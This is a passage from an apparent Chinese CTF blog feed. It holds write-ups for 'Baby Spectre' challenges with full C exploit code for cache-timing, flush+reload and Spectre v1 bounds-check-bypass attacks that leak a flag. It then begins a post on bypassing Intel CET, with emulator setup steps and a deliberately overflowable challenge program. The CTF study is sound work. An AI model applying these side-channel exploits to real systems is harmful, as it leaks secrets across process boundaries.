&lt;p&gt;接着 &lt;code&gt;get_timing_data(idx, *(sem_t **)&amp;amp;sem[1], (__int64)timing_data);&lt;/code&gt; 内部会执行 256 次计时，统计 &lt;code&gt;0x1338000 + [0, 255] * 0x1000&lt;/code&gt; 这 256 页的访问时间，写到 &lt;code&gt;timing_data&lt;/code&gt; 数组。由于 &lt;code&gt;*(_QWORD *)(8LL * (unsigned __int8)(-89 * i + 13) + timing_data)&lt;/code&gt;，我们可知 &lt;code&gt;timing_data&lt;/code&gt; 是按照 &lt;code&gt;_QWORD&lt;/code&gt; 访问的。&lt;/p&gt;
&lt;p&gt;最后，下面的代码将 &lt;code&gt;timing_data&lt;/code&gt; 的数据写到攻击者可访问的共享内存中，也就是 &lt;code&gt;0x1338000 + __size[8 * i]&lt;/code&gt;，所以这也是将 &lt;code&gt;0x1338000&lt;/code&gt; 视作一个按照 &lt;code&gt;_QWORD&lt;/code&gt; 访问的数组，每个索引对应了 &lt;code&gt;timing_data[i]&lt;/code&gt; 的计时信息。因此，只要这个计时信息小于 hit cache threshold，我们就认为对应的 page 包含一个 flag byte，而由于 flag byte 的存储是按照 &lt;code&gt;*(0x1337000 + 0x1000 * flag_byte + 0x1000)&lt;/code&gt; 的形式访问的，所以我们只要将这个 page 的索引转换为对应的 ASCII 即可泄漏 flag 的值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for ( i = 0; i &amp;lt;= 255; ++i )
{
  v14 = p_sem + 128;
  *(_QWORD *)&amp;amp;p_sem[128].__size[8 * i] = timing_data[i];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;欣赏一下我的预言机版本半自动化 Pwn Framework xD&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;axium/axium.h&amp;gt;

#define SHM_BASE ((char *)0x1337000)
#define SEM_OFFSET 0
#define IDX_ARRAY_OFFSET sizeof(sem_t)
#define TIMING_ARRAY_OFFSET 0x1000
#define TIMING_ARRAY_SIZE 256

/**
 * @brief Context for the challenge environment.
 */
typedef struct {
  sem_t *sem;             /**&amp;lt; Semaphore for synchronization. */
  int *idx_array;         /**&amp;lt; Index selection in shared memory. */
  uint64_t *timing_array; /**&amp;lt; Timing results in shared memory. */
} challenge_ctx_t;

/**
 * @brief Triggers the victim to perform a measurement.
 */
static void trigger(size_t idx_array, void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;
  *c-&amp;gt;idx_array = (int)idx_array;
  c-&amp;gt;timing_array[TIMING_ARRAY_SIZE - 1] = 0; /* Clear synchronizing sentinel */
  sem_post(c-&amp;gt;sem);
}

/**
 * @brief Waits for the victim to finish measurement.
 */
static bool wait(void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;
  /* Wait up to 1 second, checking every 100us */
  return wait_until(c-&amp;gt;timing_array[TIMING_ARRAY_SIZE - 1] != 0, 1.0, 100);
}

int main(void) {
  set_log_level(DEBUG);

  /* Match challenge&apos;s CPU affinity for stable measurements */
  set_cpu_affinity(time(NULL) % 13);

  /* clang-format off */
  challenge_ctx_t ctx = {
    .sem = (sem_t *)(SHM_BASE + SEM_OFFSET),
    .idx_array = (int *)(SHM_BASE + IDX_ARRAY_OFFSET),
    .timing_array = (uint64_t *)(SHM_BASE + TIMING_ARRAY_OFFSET)
  };

  schan_ops_t ops = {
    .trigger = trigger,
    .wait = wait,
    .analyze = NULL
  };
  /* clang-format on */

  schan_oracle_t schan_oracle;
  schan_oracle_init(&amp;amp;schan_oracle, ops, ctx.timing_array, TIMING_ARRAY_SIZE,
                    &amp;amp;ctx);

  /* Upcast to generic oracle for high-level scanning */
  oracle_t *oracle = &amp;amp;schan_oracle.base;

  log_info(&quot;Starting exploit...&quot;);

  char flag[256] = {0};
  ssize_t leaked = oracle_scan(oracle, flag, sizeof(flag) - 1, &apos;}&apos;);

  if (leaked &amp;gt; 0) {
    log_success(&quot;Flag: %s&quot;, flag);
  } else {
    log_error(&quot;Exploit failed.&quot;);
  }

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Baby Spectre 2&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;A binary that side-channels itself, now using multiple pages.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这题就是给每个索引都开了一个 &lt;code&gt;0x1000&lt;/code&gt; 大小的页，&lt;code&gt;p_align = &amp;amp;p_sem[128 * i + 128].__align;&lt;/code&gt;，所以最好的办法应该是自己重构一个结果数组然后寻找最优匹配。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;axium/axium.h&amp;gt;

#define SHM_BASE ((char *)0x1337000)
#define SEM_OFFSET 0
#define IDX_ARRAY_OFFSET sizeof(sem_t)
#define TIMING_ARRAY_OFFSET 0x1000
#define TIMING_ARRAY_SIZE 256

typedef struct {
  sem_t *sem;
  int *idx_array;
  uint64_t *timing_array;
  uint64_t results[TIMING_ARRAY_SIZE];
} challenge_ctx_t;

static void trigger(size_t idx_array, void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;
  *c-&amp;gt;idx_array = (int)idx_array;
  uint64_t *sentinel =
      (uint64_t *)((char *)c-&amp;gt;timing_array + 0x1000 * (TIMING_ARRAY_SIZE - 1));
  *sentinel = 0;
  sem_post(c-&amp;gt;sem);
}

static bool wait(void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;
  uint64_t *sentinel =
      (uint64_t *)((char *)c-&amp;gt;timing_array + 0x1000 * (TIMING_ARRAY_SIZE - 1));

  if (!wait_until(*sentinel != 0, 1.0, 100)) {
    return false;
  }

  for (int i = 0; i &amp;lt; TIMING_ARRAY_SIZE; i++) {
    c-&amp;gt;results[i] = *(uint64_t *)((char *)c-&amp;gt;timing_array + 0x1000 * i);
  }

  return true;
}

int main(void) {
  set_log_level(DEBUG);
  set_cpu_affinity(time(NULL) % 13);

  /* clang-format off */
  challenge_ctx_t ctx = {
    .sem = (sem_t *)(SHM_BASE + SEM_OFFSET),
    .idx_array = (int *)(SHM_BASE + IDX_ARRAY_OFFSET),
    .timing_array = (uint64_t *)(SHM_BASE + TIMING_ARRAY_OFFSET)
  };

  schan_ops_t ops = {
    .trigger = trigger,
    .wait = wait,
    .analyze = NULL
  };
  /* clang-format on */

  schan_oracle_t schan_oracle;
  schan_oracle_init(&amp;amp;schan_oracle, ops, ctx.results, TIMING_ARRAY_SIZE, &amp;amp;ctx);

  oracle_t *oracle = &amp;amp;schan_oracle.base;

  log_info(&quot;Starting exploit...&quot;);

  char flag[256] = {0};
  ssize_t leaked = oracle_scan(oracle, flag, sizeof(flag) - 1, &apos;}&apos;);

  if (leaked &amp;gt; 0) {
    log_success(&quot;Flag: %s&quot;, flag);
  } else {
    log_error(&quot;Exploit failed.&quot;);
  }

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Baby Spectre 3&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Measure memory access timings to leak the flag via a side-channel.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;到底是什么神人写个 exp 持续浪费 CPU 资源，还不结束的！他不会真以为自己一直跑就能赢吧……他不会挂着 exp 去睡觉了吧……我的 flag 啊～&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;axium/axium.h&amp;gt;

#define SHM_BASE ((char *)0x1337000)
#define SEM_OFFSET 0
#define IDX_ARRAY_OFFSET sizeof(sem_t)
#define TIMING_ARRAY_SIZE 256

typedef struct {
  sem_t *sem;
  int *idx_array;
  char *probe_base;
  uint64_t results[TIMING_ARRAY_SIZE];
} challenge_ctx_t;

static void trigger(size_t idx_array, void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;
  *c-&amp;gt;idx_array = (int)idx_array;
  sem_post(c-&amp;gt;sem);
}

static bool wait(void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;

  for (int i = 0; i &amp;lt; TIMING_ARRAY_SIZE; i++) {
    int idx = MIXED_IDX(i, 255);
    char *addr = c-&amp;gt;probe_base + 0x1000 * idx;

    uint64_t start = probe_start();
    maccess(addr);
    uint64_t end = probe_end();

    c-&amp;gt;results[idx] = end - start;
  }

  return true;
}

int main(void) {
  set_log_level(DEBUG);
  set_cpu_affinity(time(NULL) % 13);

  /* clang-format off */
  challenge_ctx_t ctx = {
    .sem = (sem_t *)SHM_BASE,
    .idx_array = (int *)((sem_t *)SHM_BASE + 1),
    .probe_base = (char *)SHM_BASE + 0x1000
  };

  schan_ops_t ops = {
    .trigger = trigger,
    .wait = wait,
    .analyze = NULL
  };
  /* clang-format on */

  schan_oracle_t schan_oracle;
  schan_oracle_init(&amp;amp;schan_oracle, ops, ctx.results, TIMING_ARRAY_SIZE, &amp;amp;ctx);

  oracle_t *oracle = &amp;amp;schan_oracle.base;

  log_info(&quot;Starting exploit...&quot;);

  char flag[256] = {0};
  ssize_t leaked = oracle_scan(oracle, flag, sizeof(flag) - 1, &apos;}&apos;);

  if (leaked &amp;gt; 0) {
    log_success(&quot;Flag: %s&quot;, flag);
  } else {
    log_error(&quot;Exploit failed.&quot;);
  }

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Baby Spectre 4&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform a full flush and reload side-channel attack!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;不是哥们，我这题都秒了，上题却因为有傻逼持续浪费 CPU 而导致我拿不到 flag，让我拿到一堆噪声我也是无语了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;axium/axium.h&amp;gt;

#define SHM_BASE ((char *)0x1337000)
#define SEM_OFFSET 0
#define IDX_ARRAY_OFFSET sizeof(sem_t)
#define TIMING_ARRAY_SIZE 256

typedef struct {
  sem_t *sem;
  int *idx_array;
  char *probe_base;
  uint64_t results[TIMING_ARRAY_SIZE];
} challenge_ctx_t;

static void trigger(size_t idx_array, void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;

  for (int i = 0; i &amp;lt; TIMING_ARRAY_SIZE; i++) {
    clflush(c-&amp;gt;probe_base + 0x1000 * i);
  }
  mfence();

  *c-&amp;gt;idx_array = (int)idx_array;
  sem_post(c-&amp;gt;sem);
}

static bool wait(void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;

  for (int i = 0; i &amp;lt; TIMING_ARRAY_SIZE; i++) {
    int idx = MIXED_IDX(i, 255);
    char *addr = c-&amp;gt;probe_base + 0x1000 * idx;

    uint64_t start = probe_start();
    maccess(addr);
    uint64_t end = probe_end();

    c-&amp;gt;results[idx] = end - start;
  }

  return true;
}

int main(void) {
  set_log_level(DEBUG);
  set_cpu_affinity(time(NULL) % 13);

  /* clang-format off */
  challenge_ctx_t ctx = {
    .sem = (sem_t *)SHM_BASE,
    .idx_array = (int *)((sem_t *)SHM_BASE + 1),
    .probe_base = (char *)SHM_BASE + 0x1000
  };

  schan_ops_t ops = {
    .trigger = trigger,
    .wait = wait,
    .analyze = NULL
  };
  /* clang-format on */

  schan_oracle_t schan_oracle;
  schan_oracle_init(&amp;amp;schan_oracle, ops, ctx.results, TIMING_ARRAY_SIZE, &amp;amp;ctx);

  oracle_t *oracle = &amp;amp;schan_oracle.base;

  log_info(&quot;Starting exploit...&quot;);

  char flag[256] = {0};
  ssize_t leaked = oracle_scan(oracle, flag, sizeof(flag) - 1, &apos;}&apos;);

  if (leaked &amp;gt; 0) {
    log_success(&quot;Flag: %s&quot;, flag);
  } else {
    log_error(&quot;Exploit failed.&quot;);
  }

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Baby Spectre 5&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;This binary never reads the flag bytes.. or does it?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这题对于摸 flag 有条件，即 &lt;code&gt;(float)((float)*p_align / 257.0) &amp;gt; 1.0&lt;/code&gt;，也就是传入的索引起码为 &lt;code&gt;258&lt;/code&gt; 才可以进入这个 &lt;code&gt;if&lt;/code&gt; 分支，但是如果是 &lt;code&gt;258&lt;/code&gt; 的话，又摸不到 flag……&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ( (float)((float)*p_align / 257.0) &amp;gt; 1.0 )
  v12 = &amp;amp;p_sem[128 * flag_val[*p_align] + 128];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以这题其实是打 &lt;strong&gt;Spectre v1 Bounds Check Bypass (BCB) CVE-2017-5753&lt;/strong&gt;，通过多次传入 &lt;code&gt;258&lt;/code&gt; 以训练（欺骗）CPU 的 &lt;strong&gt;Branch Prediction Unit (BCB)&lt;/strong&gt;，让它认为程序极有可能进入这个 if 分支，导致推测性的执行 if 分支内的代码（前提是要有足够的时间去 Speculative Execution，所以这里才使用浮点数计算。因为通常浮点数计算消耗的 cycles 都很大，这为推测执行提供了充足的执行窗口。）&lt;/p&gt;
&lt;p&gt;So ? 我写了一个自动化的 Spectre v1 BCB 漏洞利用框架，能应对强噪声环境，还提供了各种统计分析工具……自己研究去吧～&lt;/p&gt;
&lt;p&gt;&lt;s&gt;感觉我的 wp 写的越来越简略了，不过我觉得，都学到这一步了的人，应该不难理解吧？所以啰里巴嗦的概念我就不写了（&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;axium/axium.h&amp;gt;

#define SHM_BASE ((char *)0x1337000)
#define PAGE_SIZE 0x1000
#define TIMING_ARRAY_SIZE 256

typedef struct {
  sem_t *sem;
  int *idx_addr;
  char *probe_base;
  uint64_t results[TIMING_ARRAY_SIZE];
} challenge_ctx_t;

static uint64_t cache_threshold = -1;
static int training_byte_to_ignore = -1;

static void victim_callback(void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;
  sem_post(c-&amp;gt;sem);
}

static void trigger_wrapper(size_t idx, void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;

  /* clang-format off */
  spectre_config_t config = {
    .variant = SPECTRE_V1_BCB,
    .v1 = {
      .index_addr = c-&amp;gt;idx_addr,
      .index_size = sizeof(int),
      .training_val = 258,
      .attack_val = idx,
    },
    .ratio = 4,
    .trials = 100,
    .sync_delay = 0,
    .post_delay = 100
  };
  /* clang-format on */

  cache_flush_range(c-&amp;gt;probe_base, PAGE_SIZE * TIMING_ARRAY_SIZE);
  mfence();
  spectre_v1(&amp;amp;config, victim_callback, c);
}

static bool wait_wrapper(void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;
  for (int i = 0; i &amp;lt; 256; i++) {
    int idx = MIXED_IDX(i, 255);
    char *addr = c-&amp;gt;probe_base + PAGE_SIZE * idx;

    uint64_t start = probe_start();
    maccess(addr);
    uint64_t end = probe_end();

    c-&amp;gt;results[idx] = end - start;
  }
  return true;
}

static int analyze_wrapper(const uint64_t *data, size_t len, void *ctx) {
  (void)ctx;
  uint64_t min_time = cache_threshold;
  int best_index = -1;
  for (int i = 0; i &amp;lt; (int)len; i++) {
    if (i == training_byte_to_ignore)
      continue;
    if (data[i] &amp;gt; 0 &amp;amp;&amp;amp; data[i] &amp;lt; min_time) {
      min_time = data[i];
      best_index = i;
    }
  }
  return best_index;
}

int main(void) {
  set_log_level(DEBUG);
  set_cpu_affinity(time(NULL) % 13);

  /* clang-format off */
  challenge_ctx_t ctx = {
    .sem = (sem_t *)SHM_BASE,
    .idx_addr = (int *)((sem_t *)SHM_BASE + 1),
    .probe_base = (char *)SHM_BASE + PAGE_SIZE
  };

  schan_ops_t ops = {
    .trigger = trigger_wrapper,
    .wait = wait_wrapper,
    .analyze = analyze_wrapper
  };
  /* clang-format on */

  cache_threshold = cache_calibrate_threshold(ctx.probe_base);

  log_info(&quot;Profiling bias...&quot;);
  trigger_wrapper(258, &amp;amp;ctx);
  wait_wrapper(&amp;amp;ctx);
  training_byte_to_ignore = find_best_hit(ctx.results, 256);

  schan_oracle_t oracle;
  schan_oracle_init(&amp;amp;oracle, ops, ctx.results, 256, &amp;amp;ctx);

  char flag[256] = {0};
  log_info(&quot;Starting statistical scan...&quot;);

  ssize_t leaked = oracle_scan_stat(&amp;amp;oracle.base, flag, sizeof(flag) - 1, &apos;}&apos;,
                                    50, 2, 10, NULL, 256);
  if (leaked &amp;gt; 0) {
    log_success(&quot;Flag: %s&quot;, flag);
  } else {
    log_error(&quot;Exploit failed.&quot;);
  }

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Baby Spectre 6&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Locate the flag in memory using shellcode after all references to it have been DESTROYED, you will only have access to the &quot;exit&quot; system call. You will need a creative way of locating the flag&apos;s address in your process!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Intel Control-flow Enforcement Technology Bypass</title><link>https://cubeyond.net/posts/pwn-notes/intel-cet-bypass/</link><guid isPermaLink="true">https://cubeyond.net/posts/pwn-notes/intel-cet-bypass/</guid><description>硬件防护并不终结利用，只是改变了路径。</description><pubDate>Mon, 26 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;简介&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Control-flow_integrity&quot;&gt;Intel Control-flow Enforcement Technology (CET)&lt;/a&gt; 由 &lt;a href=&quot;https://en.wikipedia.org/wiki/Shadow_stack&quot;&gt;Shadow stack (SHSTK)&lt;/a&gt; 和 &lt;a href=&quot;https://en.wikipedia.org/wiki/Indirect_branch_tracking&quot;&gt;Indirect branch tracking (IBT)&lt;/a&gt; 两部分组成，它们分别实现了不同的防护：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The kernel must map a region of memory for the shadow stack not writable to user space programs except by special instructions. The shadow stack stores a copy of the return address of each CALL. On a RET, the processor checks if the return address stored in the normal stack and shadow stack are equal. If the addresses are not equal, the processor generates an INT #21 (Control Flow Protection Fault).&lt;/p&gt;
&lt;p&gt;Indirect branch tracking detects indirect JMP or CALL instructions to unauthorized targets. It is implemented by adding a new internal state machine in the processor. The behavior of indirect JMP and CALL instructions is changed so that they switch the state machine from IDLE to WAIT_FOR_ENDBRANCH. In the WAIT_FOR_ENDBRANCH state, the next instruction to be executed is required to be the new ENDBRANCH instruction (ENDBR32 in 32-bit mode or ENDBR64 in 64-bit mode), which changes the internal state machine from WAIT_FOR_ENDBRANCH back to IDLE. Thus every authorized target of an indirect JMP or CALL must begin with ENDBRANCH. If the processor is in a WAIT_FOR_ENDBRANCH state (meaning, the previous instruction was an indirect JMP or CALL), and the next instruction is not an ENDBRANCH instruction, the processor generates an INT #21 (Control Flow Protection Fault). On processors not supporting CET indirect branch tracking, ENDBRANCH instructions are interpreted as NOPs and have no effect.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;简单来说就是如下表所示的这些：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;SHSTK&lt;/th&gt;
&lt;th&gt;IBT&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;所属体系&lt;/td&gt;
&lt;td&gt;Intel CET&lt;/td&gt;
&lt;td&gt;Intel CET&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;防御重点&lt;/td&gt;
&lt;td&gt;函数返回地址&lt;/td&gt;
&lt;td&gt;间接跳转 / 调用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;防御攻击类型&lt;/td&gt;
&lt;td&gt;ROP&lt;/td&gt;
&lt;td&gt;JOP / COP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;检测时机&lt;/td&gt;
&lt;td&gt;执行 RET 指令时&lt;/td&gt;
&lt;td&gt;执行间接跳转后的下一条指令&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;硬件实现&lt;/td&gt;
&lt;td&gt;维护独立的受保护栈空间&lt;/td&gt;
&lt;td&gt;状态机检查特定的起始标记指令&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;检查硬件支持性&lt;/h1&gt;
&lt;p&gt;使用以下脚本测试 CPU 是否支持 SHSTK 和 IBT：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cpuid.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;

int cpu_supports_cet_shadow_stack() {
  uint32_t eax = 0, ebx = 0, ecx = 0, edx = 0;
  __cpuid_count(7, 0, eax, ebx, ecx, edx);
  return (ecx &amp;amp; (1 &amp;lt;&amp;lt; 7)) != 0;
}

int cpu_supports_cet_ibt() {
  uint32_t eax = 0, ebx = 0, ecx = 0, edx = 0;
  __cpuid_count(7, 0, eax, ebx, ecx, edx);
  return (edx &amp;amp; (1 &amp;lt;&amp;lt; 20)) != 0;
}

int main() {
  if (cpu_supports_cet_shadow_stack()) {
    puts(&quot;CET Shadow Stack is supported&quot;);
  }

  if (cpu_supports_cet_ibt()) {
    puts(&quot;CET IBT is supported&quot;);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于我的 CPU 是 &lt;code&gt;AMD Ryzen 7 4800H&lt;/code&gt;，所以硬件层还没支持 CET，只能通过 patch 后的 QEMU 模拟了。&lt;/p&gt;
&lt;h1&gt;模拟环境搭建&lt;/h1&gt;
&lt;p&gt;这里使用的是 &lt;a href=&quot;https://github.com/yikesoftware/qemu-8.2.2-cet&quot;&gt;QEMU-8.2.2-CET: A Pseudo-Intel-CET Plugin of QEMU&lt;/a&gt;，提供了一个伪 Intel CET 插件用于模拟 SHSTK 和 IBT 。&lt;/p&gt;
&lt;p&gt;这个项目最后更新在两年前，而我的内核版本，&lt;code&gt;gcc&lt;/code&gt; 和 &lt;code&gt;glibc&lt;/code&gt; 都比较新，所以还需要自己 patch 几个地方才可以编译。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ uname -a
Linux Lux 6.18.6-zen1-1-zen #1 ZEN SMP PREEMPT_DYNAMIC Sun, 18 Jan 2026 00:33:55 +0000 x86_64 GNU/Linux
λ ~/ ldd --version
ldd (GNU libc) 2.42
Copyright (C) 2024 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
λ ~/ gcc --version
gcc (GCC) 15.2.1 20260103
Copyright (C) 2025 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Patch QEMU-8.2.2-CET&lt;/h2&gt;
&lt;p&gt;要改的地方不多，也就下面这三个文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/linux-user/strace.c b/linux-user/strace.c
index cf26e5526..a18ad1ee6 100644
--- a/linux-user/strace.c
+++ b/linux-user/strace.c
@@ -51,7 +51,8 @@ struct flags {
 };

 /* No &apos;struct flags&apos; element should have a zero mask. */
-#define FLAG_BASIC(V, M, N)      { V, M | QEMU_BUILD_BUG_ON_ZERO(!(M)), N }
+// #define FLAG_BASIC(V, M, N)      { V, M | QEMU_BUILD_BUG_ON_ZERO(!(M)), N }
+#define FLAG_BASIC(V, M, N)      { V, M, N }

 /* common flags for all architectures */
 #define FLAG_GENERIC_MASK(V, M)  FLAG_BASIC(V, M, #V)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/linux-user/syscall.c b/linux-user/syscall.c
index 189eec0ec..e0205582c 100644
--- a/linux-user/syscall.c
+++ b/linux-user/syscall.c
@@ -365,18 +365,19 @@ _syscall3(int, sys_sched_getaffinity, pid_t, pid, unsigned int, len,
 _syscall3(int, sys_sched_setaffinity, pid_t, pid, unsigned int, len,
           unsigned long *, user_mask_ptr);
 /* sched_attr is not defined in glibc */
-struct sched_attr {
-    uint32_t size;
-    uint32_t sched_policy;
-    uint64_t sched_flags;
-    int32_t sched_nice;
-    uint32_t sched_priority;
-    uint64_t sched_runtime;
-    uint64_t sched_deadline;
-    uint64_t sched_period;
-    uint32_t sched_util_min;
-    uint32_t sched_util_max;
-};
+/* Use kernel-provided struct sched_attr */
+// struct sched_attr {
+//     uint32_t size;
+//     uint32_t sched_policy;
+//     uint64_t sched_flags;
+//     int32_t sched_nice;
+//     uint32_t sched_priority;
+//     uint64_t sched_runtime;
+//     uint64_t sched_deadline;
+//     uint64_t sched_period;
+//     uint32_t sched_util_min;
+//     uint32_t sched_util_max;
+// };
 #define __NR_sys_sched_getattr __NR_sched_getattr
 _syscall4(int, sys_sched_getattr, pid_t, pid, struct sched_attr *, attr,
           unsigned int, size, unsigned int, flags);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/linux-user/signal-common.h b/linux-user/signal-common.h
index 3e2dc604c..3f59ffe82 100644
--- a/linux-user/signal-common.h
+++ b/linux-user/signal-common.h
@@ -113,7 +113,9 @@ int process_sigsuspend_mask(sigset_t **pset, target_ulong sigset,
 static inline void finish_sigsuspend_mask(int ret)
 {
     if (ret != -QEMU_ERESTARTSYS) {
-        TaskState *ts = (TaskState *)thread_cpu-&amp;gt;opaque;
+        // TaskState *ts = (TaskState *)thread_cpu-&amp;gt;opaque;
+        CPUState *cpu = current_cpu;
+        TaskState *ts = (TaskState *)cpu-&amp;gt;opaque;
         ts-&amp;gt;in_sigsuspend = 1;
     }
 }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Build&lt;/h2&gt;
&lt;p&gt;然后进入项目根目录，执行以下指令来 build：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir build &amp;amp;&amp;amp; cd build
../configure --enable-plugins --enable-seccomp --enable-tcg-interpreter --target-list=x86_64-linux-user --disable-docs --disable-werror
make -j`nproc`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Build 完插件会生成在 &lt;code&gt;./build/tests/plugin/libcet.so&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;我们只需要创建一个软链接：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ln -s ./build/qemu-x86_64 /path/to/qemu-x86_64-cet
ln -s ./build/tests/plugin/libcet.so /path/to/plugin/libcet.so
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后使用下面任意指令来执行编译出来带 SHSTK 或者 IBT 的程序进行测试：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# without the plugin logs
/path/to/qemu-x86_64-cet -plugin /path/to/plugin/libcet.so,mode=user,ibt=on,ss=on,cpu_slots=128 ./test_cet

# with the plugin logs
/path/to/qemu-x86_64-cet -plugin /path/to/plugin/libcet.so,mode=user,ibt=on,ss=on,cpu_slots=128 -d plugin ./test_cet
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Challenge&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;signal.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void timedout(int) {
  puts(&quot;timedout&quot;);
  exit(0);
}

char g_buf[256];

int main() {
  char buf[16];
  long long int arg1 = 0;
  long long int arg2 = 0;
  void (*func)(long long int, long long int, long long int) = NULL;

  alarm(30);
  signal(SIGALRM, timedout);

  fgets(g_buf, 256, stdin); // My mercy
  fgets(buf, 256, stdin);
  if (func)
    func(arg1, arg2, 0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题目代码如上，使用下面的脚本来编译：&lt;/p&gt;
